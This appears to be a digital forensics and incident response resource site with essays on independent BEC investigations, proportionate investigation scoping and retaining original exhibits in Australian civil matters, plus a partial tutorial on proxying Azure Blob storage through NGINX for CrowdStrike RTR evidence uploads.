# Welcome

People and organisations within the technology community are often incredibly generous with not only their time, but also their knowledge, tools, and patience. To this end, I've decided to compile some useful resources which some may (hopefully) find useful.

This site is mainly aimed at the digital forensics & incident response discipline within cyber security. There may be some general notes for vulnerability assessments, penetration testing, or anything with a slightly offensive flavour.

I hope you find this site useful. Some of the commands and content is basic, whilst other content touches on more complex matters and may have an assumed level of knowledge. Feedback, topic suggestions, or general comments are appreciated.

Some other resources you may find useful are listed below. These are provided by incredibly knowledgeable and experienced members of the DF/IR community and are well worth reading.

<https://thisweekin4n6.com/> A weekly roundup of significant news within the DF/IR community.

<https://www.jaiminton.com/> A great compilation of writeups, technical notes, and CTF/HackTheBox/TryHackMe rooms.

<https://www.youtube.com/DCcybersec> For those new to the industry, this YouTube channel is incredibly useful, providing industry insight, technical guides, and interviews.

<https://www.youtube.com/user/RootOfTheNull> More focused on penetration testing/ethical hacking, but incredibly valuable for those new to the industry.

<https://dfir.training/social-networks/digital-forensics-discord-server> An increasingly popular Discord channel for all facets of digital forensics as well as broader technology topics.

**Contact**

Errata? Questions? Comments? Training? Test Data? Email > <mark style="color:blue;">**<contactiblueteam@gmail.com>**</mark>


# Independent Investigations - BEC

Independent Investigation vs MSP/MSSP Self-Investigation in BEC Matters

Business Email Compromise is usually discovered by the MSP or MSSP responsible for the mailbox that was compromised. It's then, routinely, investigated by that same MSP or MSSP. The analyst who missed the malicious inbox rule, or didn't catch the failed MFA alert, is often the same person writing the report on what happened.

I've written this article to set out why that arrangement is a problem on its own terms, separate from how good the analyst is, what fit-for-purpose acquisition and eDiscovery tooling actually looks like in a BEC matter, and the chain of custody, integrity, reporting, and display practices that separate a defensible investigation from an internal job ticket.

**TL;DR - get an independent investigator involved in any BEC matter with financial loss, notification obligations, cyber insurance involvement, or a realistic chance of litigation. The MSP/MSSP still has a role. It's preservation and triage, not the investigation itself.**

#### The conflict of interest is structural, not personal

This isn't a competence argument. Most MSP/MSSP staff doing this work are capable. The problem is who they're investigating and who they answer to.

<table><thead><tr><th width="209">Issue</th><th>Why it matters</th></tr></thead><tbody><tr><td>Self-preservation bias</td><td>A finding that the SIEM/EDR/tool should have caught this, or that a client's conditional access policy wasn't configured the way it was supposed to be, is a finding against the investigator's own employer.</td></tr><tr><td>Report audience</td><td>An MSP incident summary is written for the client relationship and the ticket queue. Not for a court, an insurer, or a regulator.</td></tr><tr><td>Independence</td><td>An expert report carries weight partly because the author has no stake in the outcome. An MSP reporting on its own environment can't say that.</td></tr><tr><td>Incentive to close, not preserve</td><td>MSPs are measured on ticket resolution. An investigation that needs things preserved, hashed, and held pending legal review runs against that incentive by design.</td></tr></tbody></table>

None of this means the MSP/MSSP necessarily did something wrong at the point of compromise. It means they're the wrong party to be the sole source of truth about what happened afterwards.

#### Acquisition: fit-for-purpose tooling vs ad hoc pulls

BEC evidence lives in the mailbox, the identity provider, and the unified audit log. How it gets pulled out is what determines whether it holds up later. Brief summary of sources based on a typical Microsoft/Office 365 BEC incident.

<table><thead><tr><th width="206">Source</th><th>Independent investigator / eDiscovery platform</th><th>Typical MSP/MSSP self-investigation</th></tr></thead><tbody><tr><td>Mailbox content</td><td>Content Search or eDiscovery (Premium) export to PST/native .msg, or Graph API export preserving headers and metadata</td><td>Analyst logs into OWA, reads the email, screenshots the rule or the message</td></tr><tr><td>Unified Audit Log</td><td>Search-UnifiedAuditLog / Graph API pull, exported in full with the query parameters recorded</td><td>Portal search, filtered view, copy-pasted into the ticket</td></tr><tr><td>Sign-in / identity logs</td><td>Entra ID sign-in and audit logs exported via API, ahead of retention expiry</td><td>Reviewed once in the portal and not exported at all</td></tr><tr><td>Inbox rules / forwarding</td><td>Rule XML captured via Get-InboxRule / mailbox forwarding properties, before removal</td><td>Rule deleted as part of "remediation" before anyone documents it</td></tr></tbody></table>

The last row does the most damage. Removing a malicious inbox rule is correct containment. Removing it without capturing it first is the most common way BEC evidence gets destroyed, and it's usually the team doing the "investigation" that destroys it.

#### Chain of custody applies to mailbox access, not just devices

There's no device to seize in most BEC matters. Chain of custody still applies, it just applies to who touched the mailbox, the tenant, and the logs.

* Record every account used to query the mailbox or tenant, and what privilege level it held.
* Record the actual query or search run, UAL parameters, Content Search syntax, time range, not just the result it produced.
* Log access to the compromised mailbox itself. Logging in to "have a look" generates new MailItemsAccessed events that then sit inside the evidence you're reviewing, and can quietly overwrite read/unread state that mattered.
* Hash exports at the point of collection, PST, CSV, Graph API JSON output, and record the hash in the report.

An independent investigator working off a compliance search or eDiscovery hold is reading a preserved copy. An analyst logged into the live mailbox is altering the thing they're trying to prove happened.

#### Integrity: native format over derived summary

Same principle as log-based civil matters. A summary is not the source.

<table><thead><tr><th width="285">Practice</th><th>Risk if skipped</th></tr></thead><tbody><tr><td>Preserve native .msg/.eml with full headers</td><td>Screenshots and copy-pasted email bodies can't be checked against SPF/DKIM/DMARC or the originating IP later.</td></tr><tr><td>Export the UAL in full, not a filtered subset</td><td>A filtered export can't answer "what else happened in that session" when it's challenged.</td></tr><tr><td>Retain the original inbox rule syntax</td><td>"It forwarded emails to an external address" is a description. The rule XML is the exhibit.</td></tr><tr><td>Preserve before remediating</td><td>Password resets, rule removal, mailbox restores all change the state you're trying to document. Acquire first, remediate second, wherever containment allows it.</td></tr></tbody></table>

Advanced Audit and the UAL generally are retention-limited too. Standard licensing sits around 90 days, and BEC matters routinely surface weeks after the actual compromise. Export it early, because the source data has a habit of ageing out right before someone realises they need it.

#### Reporting and displaying: built for scrutiny, not just for the ticket

"Malicious rule found and removed, user password reset" is a fine remediation note. It isn't an investigation report.

A report meant to support an insurance claim, a notification, or litigation needs a stated methodology (what was acquired, from where, with what tool, and when), findings tied to the underlying exhibit rather than paraphrased from memory, native-format evidence rather than PDF printouts or screenshots that strip the metadata out, and a clear line between what was observed and what's being concluded from it.

Displaying evidence matters as much as acquiring it. A screenshot of an email in a report is a derived artefact, the reader can't independently verify it. The same email sitting in an eDiscovery platform, headers intact, hash on record, is something a second reviewer can actually check.

#### Governance controls

**Pre-authorise independent engagement.** Cyber insurance policies frequently require a panel forensic provider. Using an unapproved MSP investigation instead can put coverage at risk. Sort this out before an incident, not during one.

**Acquire before remediating, wherever it's safe to.** Isolate the account and block the forwarding action, but capture the rule, the sign-in logs, and the audit trail before touching them.

**Treat audit log retention as a standing control, not a reactive one.** A UAL sitting on 90 days of retention doesn't leave much runway once you're already eight weeks into an investigation that hasn't started yet.

**Route engagement through legal counsel** where privilege may need to attach to the resulting report.

**Put the MSP/MSSP's role in writing.** Detection, containment, preservation. Not root-cause investigation, and not the report that goes to the insurer or the regulator.

#### Internal/MSP vs Independent Investigator

**What the MSP/MSSP should handle**

* Detection and initial containment, disabling the account, blocking the forwarding rule once it's captured
* Preservation, triggering the eDiscovery hold, extending log retention, isolating the mailbox from further changes
* Initial triage, working out the scope of accounts and timeframe potentially affected

**What should go to an independent investigator**

* Acquisition and analysis intended to support an insurer, regulator, or court
* Root-cause findings, especially any finding that touches the adequacy of the MSP/MSSP's own controls
* The report itself, where independence of the author is part of what gives the finding its weight

#### Summary

A BEC matter investigated solely by the MSP/MSSP that missed the compromise is being investigated by an interested party, however well the work is done. Fit-for-purpose acquisition, native-format preservation, documented chain of custody over mailbox and log access, and a report built to survive scrutiny are what separate a defensible investigation from a closed ticket. Detection, containment, and preservation belong with the MSP/MSSP. The investigation and the report belong with someone who has no stake in what it finds.


# The Reasonable Investigation Standard

Every digital forensics engagement starts with a negotiation. The client wants certainty, the investigator has a budget, a deadline, and tooling that can only answer so much in the time available. The deliverable sits somewhere between those two positions, and it rarely resembles the textbook version of a "complete" investigation.

I don't think that's a failing of the profession. It's the nature of the job. But right now most practitioners are making the scope call implicitly, case by case, without a shared standard for what "reasonable" means - and that becomes a problem the moment the work is challenged later.

**TL;DR - a narrower investigation is defensible when the scope was chosen deliberately, tied to a stated hypothesis, and documented before the fact. It stops being defensible the moment the shortcut was silent, regardless of whether it was taken due to time or budget pressure.**

#### A full forensic acquisition is not the baseline most engagements deliver

Full acquisition - imaging every relevant endpoint, exporting mailboxes in native format, preserving volatile memory, correlating logs across every system in scope - is the standard most of us trained on. It is not the standard most of us are resourced to deliver. Clients frequently assume it's what they're getting even where the engagement letter says otherwise, because "digital forensics" carries an assumption of exhaustiveness the underlying economics rarely support.

The shape of the trade-off changes with the size of the organisation, but it doesn't go away at either end.

At the enterprise end, the constraint is rarely budget, it's scale and internal process. A global business with 10,000 endpoints and a mature SOC still can't image every device a threat actor plausibly touched during a multi-week dwell time. Legal, comms, and the board all want a notification decision inside a regulatory clock that has nothing to do with how long log correlation across a dozen business units actually takes.

Triaging helps investigators decide which systems were likely impacted or are relevant, and the investigation is scoped to the systems judged most likely to matter. This often does not include all of them and that judgment call is where the exposure is.

At the small/medium end, the constraint is budget and time. A 40-person firm with no in-house security function wants an answer in 48 hours for a few thousand dollars, not the two weeks and five-figure spend a full investigation would need. A compromised finance mailbox, a ransomware note on a file server, a departing employee's laptop that's already been wiped and reissued to the next starter - in each case, the honest options are triage or nothing, because a full acquisition simply isn't going to be funded. The question isn't whether corner are going to be cut, because they will be. The question is which corners, and whether that decision is defensible when being questioned months (or years) later.Police / prosecutors Full acquisition as the default posture on every job, regardless of the matter's actual complexity or value - because the standard is set by what a criminal proceeding might one day require, not by what this particular case looks like today.

#### Who actually sets the bar

"Reasonable" isn't defined by the investigator alone. It's usually the collision of several parties, each with a different and sometimes conflicting view of what's good enough:

<table><thead><tr><th width="185">Party</th><th width="475">What they're actually optimising for</th></tr></thead><tbody><tr><td>Legal counsel</td><td>A defensible narrative and privileged work product - not necessarily the most technically complete one.</td></tr><tr><td>Cyber insurance carrier</td><td>Hours and tooling capped before scope is even set. Coverage terms often dictate the investigation rather than the reverse.</td></tr><tr><td>Regulatory notification deadline</td><td>Time-based conclusions, often unrelated to how long the evidence actually takes to acquire or process.</td></tr><tr><td>The client</td><td>Ranges from minimum defensible work to wanting everything, regardless of cost - and rarely states which up front.</td></tr><tr><td>Police / prosecutors </td><td>Full acquisition as the default posture on every job, regardless of the matter's actual complexity or value - because the standard is set by what a criminal proceeding might one day require, not by what this particular case looks like today.</td></tr></tbody></table>

Each of these parties can reasonably believe they're the one setting the standard. It's uncommon for anyone to step back and reconcile them before the engagement starts.

Law enforcement sits apart from the rest of that table. A criminal brief has to survive a standard nobody else in this list is held to - beyond reasonable doubt, tested by defence whose entire job is to find the gap in the acquisition and analysis, not just the gap in the argument. That pushes the default stance to full acquisition on every job, low-value and high-value alike, in a way that would be considered wildly disproportionate in a civil or commercial engagement. It's the right posture for that context. It is not a benchmark the rest of this article is arguing everyone else should be held to - and treating it as the universal baseline is exactly what makes triage and targeted acquisition feel, wrongly, like corner-cutting rather than proportionate scoping for a different standard of proof.

#### A tiered way to scope the work

I find it more useful to treat "investigation" as a set of tiers rather than a single deliverable, and to be explicit with the client about which tier they're buying.

<table><thead><tr><th width="163">Tier</th><th>What it answers</th><th>What it costs you</th></tr></thead><tbody><tr><td>Triage</td><td>Are we still bleeding, and do we have a notification obligation. Log review and indicator checks, no acquisition.</td><td>No recoverable deleted-item view, no confirmed initial access vector.</td></tr><tr><td>Targeted acquisition</td><td>Confirms or rejects a specific hypothesis - the one mailbox, the one endpoint, the relevant cloud audit logs pulled before the retention window closes.</td><td>Anything outside the hypothesis stays unexamined, including lateral movement you weren't looking for.</td></tr><tr><td>Full forensic acquisition</td><td>Comprehensive imaging and log correlation across scope. The version taught in training courses.</td><td>Time and cost most engagements aren't funded for.</td></tr></tbody></table>

Each tier's blind spots are specific, not vague, and they compound. Skip native-format mailbox export and you lose the ability to recover deleted items later. Skip endpoint forensics and initial access vector becomes a working assumption and not supported by findings. Skip the early log acquisition and you discover after the fact that the retention window has already closed on the exact period you needed.

Chain of custody compounds this further. Cloud-native evidence doesn't behave like a seized hard drive, custody of an audit log export is a materially weaker position than custody of a disk image, and treating them as equivalent in a report invites exactly the kind of challenge the report was meant to withstand.

Similarly, tool selection sits inside the same realm of compromises. A cloud provider's native audit and eDiscovery tooling gets you fast access to logs and mailbox data, but leans entirely on that provider's own retention and logging completeness. This would be fine for an SMB that needs an answer this week, thinner ground for a matter that ends up in litigation a year later.

A dedicated forensic platform gives deeper artefact-level analysis but demands acquisition time and licensing cost that most triage-tier budgets, and plenty of enterprise ones, don't have spare. Neither is categorically better - the right tool is the one that matches the tier the case actually calls for, and reaching for a heavier tool than the engagement can fund creates its own kind of exposure.

#### Write down why you stopped

The single highest-leverage habit in a resource-constrained investigation is documenting the scoping decision itself - not just the findings, but why the investigation stopped where it did. "Endpoint X was not acquired because of Y, and the resulting limitation is Z" is a sentence that protects everyone in the engagement. Its absence is what turns a reasonable trade-off into a liability months later, when someone asks why a full investigation wasn't run and the honest answer is that nobody wrote down that a decision had been made at all.

This matters more, not less, in matters that go nowhere. Most fraud and intrusion cases involving an SMB are never prosecuted - funds are gone, attribution is weak, and law enforcement triages by dollar value, so the file quietly closes. Enterprise matters close too, just differently - an internal incident gets written up, remediated, and shelved once the immediate risk is handled, with no external process ever testing the findings. In both cases the investigation record is precisely why it needs to stand on its own. It's often the only surviving artefact, and it can resurface in a civil claim, an insurance dispute, or a board inquiry long after the case itself was considered closed.

#### Governance Controls

**Scope decisions in writing, before work starts.** State the tier, the hypothesis driving it, and what's explicitly out of scope. A verbal agreement with the client is not a record.

**Carrier and breach-coach constraints documented separately from findings.** If hours are capped or tooling is restricted before scope is set, record that as a constraint on the investigation, not folded silently into the conclusions section.

**Retention-aware triage.** Know the retention window on every relevant log source before deciding what to pull first. A targeted acquisition plan built without checking retention limits is a plan built to fail quietly.

**A standing decision on who signs off scope.** Client, counsel, or carrier - name the party authorised to accept a narrower tier, and get that acceptance in writing rather than inferring it from silence. In an enterprise this is usually a named executive or the GC's office; in an SMB it's often the owner or a single director, which makes the written record more important, not less - there's no second layer of governance to catch an undocumented decision later.

#### Internal vs external capability

Not every part of a constrained investigation belongs with the same team, and getting that boundary wrong is its own source of exposure.

**What can reasonably be handled internally**

* Triage-tier log review and indicator checks
* Preservation actions - extending retention, isolating an account or device from reissue
* Contemporaneous documentation of who did what and when, from the moment the issue was identified

**What should sit with a suitably qualified provider**

* Targeted or full forensic acquisition intended to support a report relied on externally
* Any output that may be relied on in litigation, arbitration, or a regulatory response
* Analysis where provenance and methodology will be tested, not just the findings

The split isn't just a compliance formality. A report carries weight partly because of who produced it and how. An internal team running a targeted acquisition without a documented methodology creates an obvious line of challenge - and that challenge is often easier for the other side to win than one aimed at the substance of the findings.

#### Agreements to have in place before an incident, not during one

* A standing arrangement with a DFIR provider, so acquisition doesn't wait on procurement while retention windows close
* Pre-agreed tiers and triggers, so "which tier applies" isn't negotiated for the first time mid-incident
* Chain of custody and reporting requirements specified in the engagement terms, not left to be decided case by case
* A named party authorised to accept scope trade-offs under time pressure, agreed before the pressure exists

Get this in place before it's needed. The gap between "we think we need a forensic provider" and "a provider is actually engaged and pulling evidence" is exactly the window in which logs age out and devices get reissued. Enterprises with an existing panel arrangement still lose this window when the incident falls outside the panel's pre-agreed scope. SMBs without any standing arrangement lose it by default, because the first call anyone makes is to find a provider, not to engage one.

#### Summary

The full forensic investigation isn't the standard most engagements are actually held to, and pretending otherwise doesn't make the work more defensible - it just moves the argument from "was the scope reasonable" to "why didn't you disclose it wasn't complete." Set the tier deliberately, document the reasoning before the fact, get scope trade-offs signed off by someone authorised to accept them, and keep the acquisition boundary between internal and external work where provenance actually needs it. The standard isn't completeness. It's whether you can show your work.


# Retaining Original Exhibits

Disclaimer: I'm not a lawyer. Seek legal advice or consult your internal Legal/HR department to understand your organisation's or country's legislative or procedural requirements.

Civil litigation and Fair Work matters are can be decided on electronic evidence pulled from SIEM platforms, proxies, and endpoint telemetry. Unlike criminal matters, where evidence handling is usually governed by a documented forensic process from the outset, civil and workplace investigations are often run by HR or IT without device seizure, imaging, or exhibit retention considerations.

I've written this article to highlight why I believe SIEM (or equivelant) export alone is insufficient, what the Evidence Act (piece of Australian Commonwealth legislation) actually does and doesn't require, highlighting matters illustrating the shortfall between derived and source evidence, and the governance controls that prevent the problem occurring in the first place.

**TL;DR - I strongly support (where it is lawful, permissible, practical, and operationally suitable) seizing and retaining original exhibits to support civil and disciplinary matters until the matter is resolved.**&#x20;

### A SIEM export is not a replacement for the original exhibit

A Splunk export, or equivalent from any SIEM, is a query result built from parsed and indexed data. It is not the underlying record. Treating it as the primary exhibit creates several problems if challenged:

<table><thead><tr><th width="181">Issue</th><th>Why it matters / the risk</th></tr></thead><tbody><tr><td>Export is a query result</td><td>Search terms, time window, and excluded fields can all be questioned. If you can't reproduce the result from the raw index, you can't answer a challenge to it.</td></tr><tr><td>Short retention periods</td><td>Proxy, firewall, and gateway logs commonly age out at 30-90 days. Dispute timelines routinely exceed that.</td></tr><tr><td>Parsing errors</td><td>Misconfigured sourcetypes, timezone offsets, and dropped malformed lines don't appear in a dashboard. They appear when someone asks you to reproduce the result from source.</td></tr><tr><td>Device is a separate evidentiary source</td><td>Local browser history, application logs, and OS artefacts can corroborate or contradict network-layer data.</td></tr></tbody></table>

I believe there should be working rule. if you can query it in Splunk, the raw log source behind it should already be under extended retention, and if the device is still in your possession, it should be imaged before it's wiped, reissued, and returned to circulation.

I'm not suggesting that SIEM data is a direct replacement for EDR data, and isn't a direct replacement for analysing the original device. These data sources (as highlighted below in Kumar v Hansen Corporation Pty Ltd) often work together to build a complete picture.

### Retention vs Dispute Timelines

<table><thead><tr><th width="251">Claim type</th><th>Typical lodgement/limitation window</th><th>Common hot-tier log retention</th></tr></thead><tbody><tr><td>Unfair dismissal (Fair Work Act s.394)</td><td>~21 days to lodge</td><td>30-90 days</td></tr><tr><td>General protections / discrimination</td><td>~21 days (dismissal) to 6 years (some state discrimination claims)</td><td>30-90 days</td></tr><tr><td>Contract/negligence (civil)</td><td>Statutory limitation periods, typically 6 years</td><td>30-90 days</td></tr></tbody></table>

When you consider the potential time between the misconduct, the start of the investigation, the conclusion of the investigation, the dismissal/disciplinary outcome, and the matter finally being heard in court, it becomes immediately apparent that a 30-60-90 day log retention period, coupled with a lack of consideration to retain the original exhibit, it can put a party in a difficult and potentially indefensible position.

### Evidence Act&#x20;

Section 51 of the Evidence Act 1995 (Cth), mirrored in the uniform Evidence Acts across Australia's states and territories, abolishing the common law original document rule. A party is not required to produce an original to prove the contents of a document. A copy, printout, or forensic export is admissible in principle.

This resolves an admissibility question however it does not resolve a reliability question.

Sections 146 and 147 create a rebuttable presumption that a device or process, if it ordinarily functions correctly, produced an accurate result on the occasion in question. The presumption is exactly as strong as your ability to defend it once challenged. If the only exhibit is a summary export with no path back to raw source, there is nothing left to defend it with.

In the Fair Work Commission specifically, the position is more exposed and arguably less defensible. The Commission is not bound by the rules of evidence, but has stated it cannot ignore them where doing so would cause unfairness between the parties (see FWC, *Evidence*).&#x20;

### Case References

**Kumar v Hansen Corporation Pty Ltd \[2026]**

Employer's case relied on records from Microsoft Entra, Zscaler, and SentinelOne, showing the employee was not active on his device during hours logged as client work. Accepted by the Commission because the data was corroborated across independent systems rather than resting on a single export. This is the standard to build toward from the start of an investigation, not retrofit once an application is filed.

**Raghib v Stantec Australia Pty Ltd \[2025] FWC 2335**

Employee's unfair dismissal claim relied on a screenshot of a text message. When the underlying screen recording was broken into individual frames, the sending phone number matched the employee's own work mobile. The device (not the screenshot) settled the question. A derived artefact the applicant controlled, with no way to check it against source, nearly succeeded.

### Governance Controls

**Log retention:** Align hot-tier retention for identity, EDR, proxy, and email gateway logs to the limitation periods of the claim types the organisation is exposed to, not to storage cost.

12 months minimum for anything touching user activity, with cold-tier archival beyond that.

**Acceptable Use Policy:** State explicitly which systems are monitored, what data is logged, and the business reason for it. Vague "may monitor" language is a weak foundation once that monitoring becomes the primary exhibit. Explicit acceptable use policy language supports both the reliability of the data and a fairness argument that the employee had reasonable notice of the monitoring in place.

**Litigation hold triggers:** Legal-issued hold notices are frequently too late for short-retention logs. Build a technical trigger, HR/Legal escalation or SOC-detected anomaly initiates an immediate extended retention hold and, where applicable, a forensic image of the relevant device, independent of whether legal proceedings have formally started.

**Chain of custody for log queries:** Applies to log queries and pulls, not only physical devices. Record who queried what, in which tool, over what time range. Preserve the query itself alongside the export. Hash the export where practical.

**Retention of unhelpful material:** Do not allow retention policy to quietly age out material that doesn't support the preferred narrative. A conveniently missing log invites an adverse inference that costs more than the log itself ever would have.

####

### Internal vs External Capability

Not every step in this process belongs inside the organisation, and getting that boundary wrong presents another potential source of exposure.

**What internal teams should handle**

* Preservation: extending log retention, isolating a device from reissue, disabling auto-wipe or auto-reimage policies on the asset.
* Initial triage: identifying which systems are relevant and what timeframe is in scope.
* Documentation: recording who did what and when, from the moment the issue was identified.

**What should go to an external, qualified provider**

* Forensic acquisition of the device itself (imaging, hashing, write-blocking)
* Analysis intended to support an expert/opinion evidence report
* Any engagement where the output may be relied on in the Commission, a court, or arbitration/mediation.

The reason for the split isn't simply a matter of ticking a compliance box. An expert report carries weight partly because of the qualifications and experience of the person who produced it. Internal IT staff acquiring a device without formal forensic training, without a write-blocker, without a documented methodology, creates an obvious avenue for challenge.&#x20;

The classic chain of custody/integrity matter results in a question of not "is this data accurate," but "was this person qualified to collect it without altering it." That challenge is often easier to win for the other side than one aimed at the data itself, and it can undermine an otherwise solid exhibit for no reason other than who touched it first.

Acquisition and analysis intended for tribunal or court use should sit with a provider operating to a recognised standard.

I am not suggesting that internal SOC or IT staff can't do good work. It's a recognition that "good work" and "work whose provenance survives cross-examination" are not automatically the same thing, and the second one is what the matter actually needs.

### **Agreements to have in place before an incident, not during one**

* A standing engagement or panel arrangement with a DFIR provider, so acquisition doesn't wait on a procurement cycle while logs roll off and devices get reissued
* Clear scope in the agreement: what triggers engagement (SOC alert, HR escalation, legal instruction), including what the provider is authorised to acquire, and expected turnaround
* Chain of custody and reporting requirements specified in the agreement itself, not left to the provider's discretion.
* Engagement routed through legal counsel where the matter may result in dismissal or litigation, so legal professional privilege can attach to the resulting report where appropriate.
* Confidentiality and data handling terms consistent with the organisation's own privacy obligations, since the provider will be handling the same personal information the organisation is responsible for.

Get this arrangement in place before it's needed. The time and delay between "we think we might need a forensic provider" and "we have an engaged provider imaging the device" is the period of time in which logs roll off and devices get reissued to the next starter.

***

### Summary

Section 51 already settled the admissibility argument over originals. What decides civil and tribunal matters now is reliability and fairness, and both are earned by retention and process decisions made before a dispute exists, not by argument made once it does. Set retention against dispute timelines, image devices before they're reissued, keep the AUP explicit, build litigation hold triggers into the SOC runbook rather than the legal team's inbox, and know where the internal team's role ends. Preservation and triage can be handled internally, but acquisition and expert analysis belongs with a suitably qualified and experience internal resource and where not available, an external provider - ideally engaged before the matter starts, not after.

### References

* Evidence Act 1995 (Cth) s 51, 146, 147
* Fair Work Act 2009 (Cth) s 394
* Fair Work Commission, *Evidence* (fwc.gov.au/evidence-2)
* *Kumar v Hansen Corporation Pty Ltd* \[2026] FWC
* Raghib v Stantec Australia Pty Ltd \[2025] FWC 2335
* Raghib v Stantec Australia Pty Ltd \[2025] FWCFB 218


# Azure Blob storage with NGINX proxy

Create an NGINX proxy and stick it in front of your Azure Blob storage so you can use Crowdstrike RTR to its full potential, bypassing restrictive file size limits and artificial bandwidth limitations

## Background/Problem

CrowdStrike RTR is an industry leading Endpoint, Detection, and Response (EDR) tool which can be installed on workstations/servers running Windows, Linux, and macOS. One of the core capabilities of RTR is the ability to dump memory of running processes; either individually or as an entire dump (in raw format). Another functionality is the ability to remotely acquire files using the ‘get’ command.

However, there is a critical issue when it comes to actually transferring the files from the endpoint. RTR only supports a maximum file size of 4GB for Windows, and 2GB for Linux/macOS.

This is not appropriate given the potential size of files being acquired from a host during IR engagements. It presents a major hurdle in the preservation and acquisition of volatile data from remote hosts which may have been isolated or contained.

The second issue with RTR is acquisition speeds. During testing (on residential and enterprise connections, as well as on/off VPN connections) indicates there is an artificial limit when it comes to bandwidth. Whether this is by design or a limitation of CrowdStrike's AWS resources, I’m not sure.

The third issue is RTR does not support whitelisting remote hosts by subdomain/FQDN, only IP addresses. When a device is contained/isolated on the network, it is restricted from communicating with anything other than CrowdStrike’s RTR console for administration purposes. This restricts the ability to acquire files and transfer them from remote hosts, and the only option is to use native RTR commands such as ‘get’. Remote IP addresses can be whitelisted, however if you’re using object storage such as S3 buckets and Azure Blob storage, you cannot assign (at the time of this guide), a static public IP address to that resource. That effectively means you cannot whitelist your destination bucket.

I’ll highlight how this can be overcome by using NGINX as a reverse proxy, coupled with high performance Azure Blob storage.

We’ll need to create two resources; a virtual machine (this can be hosted anywhere), and Azure Blob storage. For ease of management, both can be in the same resource group. For the purpose of this guide, I’ll spin up a host in [BinaryLane](https://binarylane.com.au). You'll also need a domain and SSH/console access to your VM.

&#x20;

## **Summary of what we need to do;**

1. Create a subdomain/domain for our proxy host,
2. Provision a new Azure Blob storage account
3. Provision a virtual machine as our reverse proxy,
4. Setup NGINX as a reverse proxy,
5. Configure NGINX to pass requests to our upstream storage account
6. Configure our storage account with our custom subdomain,
7. Reconfigure NGINX to allow large file uploads,
8. Restrict Azure Blob service access to the IP address of our NGINX proxy
9. Test

&#x20;

## 1.      Create a subdomain

blob.iblue.team – this subdomain will be what we use with AzCopy and RTR.

This will be our front door, supported by NGINX, acting as a proxy, which will receive requests from public IP addresses.

## 2.      Provision a new Azure Blob storage account

ixibluevault – the name of our Azure Blob storage account (this is setup to only receive connections directly from blob.iblue.team

## 3.      Provision a virtual machine as our reverse proxy

I’ve chosen a virtual machine with [BinaryLane](https://binarylane.com.au). 1 vCPU, 2GB RAM, 40GB of disk space (for $8/mo). This is sufficient for testing, but you’ll need to ensure you have sufficient resources to proxy requests. If you want to monitor resource consumption, consider installing Copilot or Zabbix.

The temporary public IP of our reverse proxy is  43.224.183.238

## 4.      Setup NGINX as a reverse proxy,

Update the host, and install nginx

```
$ apt update -y; apt install nginx -y
```

Define our base site

```
$ sudo mkdir -p /var/www/blob/html
$ sudo chown -R $USER:$USER /var/www/blob/html
$ sudo chmod -R 755 /var/www/blob
$ echo “blob.iblue.team” > /var/www/blob/html/index.html
$ nano /etc/nginx/sites-available/blob

server {
        listen 80;
        root /var/www/blob/html;
        index index.html index.htm index.nginx-debian.html;
        server_name     blob.iblue.team;
        location / {
                try_files $uri $uri/ =404;
        }
}
```

```
$ sudo ln -s /etc/nginx/sites-available/blob /etc/nginx/sites-enabled/
```

&#x20;

Test your NGINX configuration, and then reload/restart the NGINX service.

```
$ nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

$ systemctl restart nginx
```

&#x20;You should see a non-HTTPS default NGINX placeholder page.

<figure><img src="/files/iT5MXy6TIq9uyFYF6Xwg" alt=""><figcaption></figcaption></figure>

Install certbot so we can deploy Let'sEncrypt certificates. Generate a cert for our subdomain (this isn't proxied through Cloudflare)

```
$ apt install certbot python3-certbot-nginx

$ certbot --nginx -d blob.iblue.team

(accept prompts)
```

&#x20;

<figure><img src="/files/1pNyo8wN8T4lijyH7Y4v" alt=""><figcaption></figcaption></figure>

&#x20;

NGINX should have been restarted already by Certbot. Refresh the page, you should now see it's using HTTPS/TLS.

## 5. Configure NGINX to pass requests to our upstream storage account

So we have a basic NGINX site setup, and an existing Azure Blob storage account. (ixibluevault.blob.core.windows.net)

Edit your site definition and include the storage account value in proxy\_pass

<figure><img src="/files/Le408TrmYQWCf7BwsqHN" alt=""><figcaption></figcaption></figure>

Something that I discovered during testing is that NGINX uses HTTP/1.0 by default. Azure Blob storage only supports REST API calls using HTTP/1.1

If you see errors similar to the following (these will be on the host on which you're executing azcopy), you need to modify your nginx.conf file to force HTTP/1.1

```
PUT https://blob.iblue.team/yourbucket/somefile/[REDACTED]
   Accept: application/xml
   Content-Length: 8388608
   Content-Type: application/octet-stream
   User-Agent: AzCopy/10.27.1 azsdk-go-azblob/v1.4.0 (go1.23.1; linux)
   X-Ms-Client-Request-Id: [snip]
   x-ms-version: 2023-08-03
   --------------------------------------------------------------------------------
   RESPONSE Status: 505 The HTTP version specified is not supported for this operation by the server.
   Connection: keep-alive
   Content-Length: 297
   Content-Type: application/xml
   Date: Tue, 14 Jan 2025 09:33:32 GMT
   Server: nginx/1.18.0 (Ubuntu)
   X-Ms-Client-Request-Id: [snip]
   X-Ms-Error-Code: UnsupportedHttpVersion
   X-Ms-Request-Id: [snip]
   X-Ms-Version: 2023-08-03
```

```
$ nano /etc/nginx/nginx.conf

Add the following line before the end of the HTTP block

proxy_http_version 1.1;
```

It should look like this

<figure><img src="/files/AOsd8KZEMCF4cxvrR8ad" alt=""><figcaption></figcaption></figure>

## 6.      Reconfigure storage account with custom subdomain

Azure  Blob storage accounts support custom domains/subdomains.

Go to your storage account > Security and Networking > Networking > Custom Domain

<div data-full-width="false"><figure><img src="/files/4knrZXdeWT1ZOrdhA1em" alt=""><figcaption></figcaption></figure></div>

Go to your DNS provider (Cloudflare in this case) and enter a CNAME for your subdomain. Verify propogation with online tools such as <https://www.whatsmydns.net/> or <https://dnschecker.org/>

```
$ dig cname asverify.blob.iblue.team @1.1.1.1

; <<>> DiG 9.19.19-1-Debian <<>> cname asverify.blob.iblue.team @1.1.1.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18364
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;asverify.blob.iblue.team.      IN      CNAME

;; ANSWER SECTION:
asverify.blob.iblue.team. 60    IN      CNAME   asverify.ixibluevault.blob.core.windows.net.
```

